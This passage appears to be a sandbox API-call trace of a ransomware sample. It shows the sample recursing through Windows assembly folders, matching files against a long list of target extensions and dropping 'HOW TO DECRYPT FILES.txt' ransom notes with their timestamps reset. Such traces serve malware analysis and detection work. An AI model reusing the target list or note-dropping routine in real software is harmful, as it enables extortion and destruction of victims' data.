(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.fdb") returned 0 [0100.657] lstrlenA (lpString="*.fdb") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.wab") returned 0 [0100.657] lstrlenA (lpString="*.wab") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.dat") returned 0 [0100.657] lstrlenA (lpString="*.dat") returned 5 [0100.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.txt") returned 0 [0100.657] lstrlenA (lpString="*.txt") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.jpeg") returned 0 [0100.658] lstrlenA (lpString="*.jpeg") returned 6 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.jpg") returned 0 [0100.658] lstrlenA (lpString="*.jpg") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.png") returned 0 [0100.658] lstrlenA (lpString="*.png") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.php") returned 0 [0100.658] lstrlenA (lpString="*.php") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.cs") returned 0 [0100.658] lstrlenA (lpString="*.cs") returned 4 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.cpp") returned 0 [0100.658] lstrlenA (lpString="*.cpp") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.rar") returned 0 [0100.658] lstrlenA (lpString="*.rar") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.zip") returned 0 [0100.658] lstrlenA (lpString="*.zip") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.html") returned 0 [0100.658] lstrlenA (lpString="*.html") returned 6 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.htm") returned 0 [0100.658] lstrlenA (lpString="*.htm") returned 5 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.xlsx") returned 0 [0100.658] lstrlenA (lpString="*.xlsx") returned 6 [0100.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.xls") returned 0 [0100.659] lstrlenA (lpString="*.xls") returned 5 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mp4") returned 0 [0100.659] lstrlenA (lpString="*.mp4") returned 5 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.ppt") returned 0 [0100.659] lstrlenA (lpString="*.ppt") returned 5 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.pptx") returned 0 [0100.659] lstrlenA (lpString="*.pptx") returned 6 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.doc") returned 0 [0100.659] lstrlenA (lpString="*.doc") returned 5 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.dot") returned 0 [0100.659] lstrlenA (lpString="*.dot") returned 5 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.docx") returned 0 [0100.659] lstrlenA (lpString="*.docx") returned 6 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.7z") returned 0 [0100.659] lstrlenA (lpString="*.7z") returned 4 [0100.659] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.tar") returned 0 [0100.659] lstrlenA (lpString="*.tar") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.bz2") returned 0 [0100.660] lstrlenA (lpString="*.bz2") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.gz") returned 0 [0100.660] lstrlenA (lpString="*.gz") returned 4 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mkv") returned 0 [0100.660] lstrlenA (lpString="*.mkv") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.eml") returned 0 [0100.660] lstrlenA (lpString="*.eml") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.msg") returned 0 [0100.660] lstrlenA (lpString="*.msg") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.edb") returned 0 [0100.660] lstrlenA (lpString="*.edb") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.accdb") returned 0 [0100.660] lstrlenA (lpString="*.accdb") returned 7 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.odb") returned 0 [0100.660] lstrlenA (lpString="*.odb") returned 5 [0100.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.java") returned 0 [0100.660] lstrlenA (lpString="*.java") returned 6 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.asm") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.pfx") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.pem") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.p12") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.gpg") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.vsd") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.odg") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.raw") returned 0 [0100.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.nef") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.svg") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.psd") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.vmx") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.vmdk") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.vdi") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.lay6") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mpeg") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.djvu") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.tiff") returned 0 [0100.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.backup") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.pdf") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.cert") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.docm") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.xlsm") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.dwg") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.nd") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.tlg") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.lgb") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mov") returned 0 [0100.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.xdw") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.ods") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.wav") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.mp3") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.aiff") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.flac") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.m4a") returned 0 [0100.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Narrator\\6.1.0.0__31bf3856ad364e35\\Narrator.exe", pszSpec="*.csv") returned 0 [0100.664] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93786e01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93786e01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937acf61, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Narrator.exe", cAlternateFileName="")) returned 0 [0100.665] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.665] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc19eb968, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xc19eb968, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0100.665] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.665] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5e90710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5e90710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5e90710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004e, dwReserved1=0x720072, cFileName="office", cAlternateFileName="")) returned 1 [0100.665] lstrcmpA (lpString1=".", lpString2="office") returned -1 [0100.665] lstrcmpA (lpString1="..", lpString2="office") returned -1 [0100.665] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.665] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="office" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office") returned="C:\\Windows\\assembly\\GAC_MSIL\\office" [0100.665] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\office\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5e90710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5e90710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5e90710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.667] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.667] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5e90710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5e90710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5e90710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.667] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.667] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.667] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.667] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.667] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.667] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\office\\*.*") returned="*.*" [0100.667] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c" [0100.667] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.669] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.669] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.669] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.669] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.669] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x6d768, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0100.669] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.669] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OFFICE.DLL") returned -1 [0100.669] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OFFICE.DLL") returned -1 [0100.669] lstrcmpiA (lpString1="", lpString2="OFFICE.DLL") returned -1 [0100.669] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.669] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\" [0100.669] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.669] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.669] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.669] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.670] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.672] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.672] CloseHandle (hObject=0x90) returned 1 [0100.672] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\", lpString2="OFFICE.DLL" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL") returned="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL" [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.ems") returned 0 [0100.672] lstrlenA (lpString="*.ems") returned 5 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.db") returned 0 [0100.672] lstrlenA (lpString="*.db") returned 4 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.dbf") returned 0 [0100.672] lstrlenA (lpString="*.dbf") returned 5 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.myox") returned 0 [0100.672] lstrlenA (lpString="*.myox") returned 6 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.myo") returned 0 [0100.672] lstrlenA (lpString="*.myo") returned 5 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qbw") returned 0 [0100.672] lstrlenA (lpString="*.qbw") returned 5 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qbb") returned 0 [0100.672] lstrlenA (lpString="*.qbb") returned 5 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qbm") returned 0 [0100.672] lstrlenA (lpString="*.qbm") returned 5 [0100.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qbo") returned 0 [0100.673] lstrlenA (lpString="*.qbo") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qbx") returned 0 [0100.673] lstrlenA (lpString="*.qbx") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qba") returned 0 [0100.673] lstrlenA (lpString="*.qba") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qby") returned 0 [0100.673] lstrlenA (lpString="*.qby") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qbj") returned 0 [0100.673] lstrlenA (lpString="*.qbj") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.ofx") returned 0 [0100.673] lstrlenA (lpString="*.ofx") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.qif") returned 0 [0100.673] lstrlenA (lpString="*.qif") returned 5 [0100.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\office\\14.0.0.0__71e9bce111e9429c\\OFFICE.DLL", pszSpec="*.mye") returned 0 [0100.673] lstrlenA (lpString="*.mye") returned 5 [0100.673] PathMatchSpecA 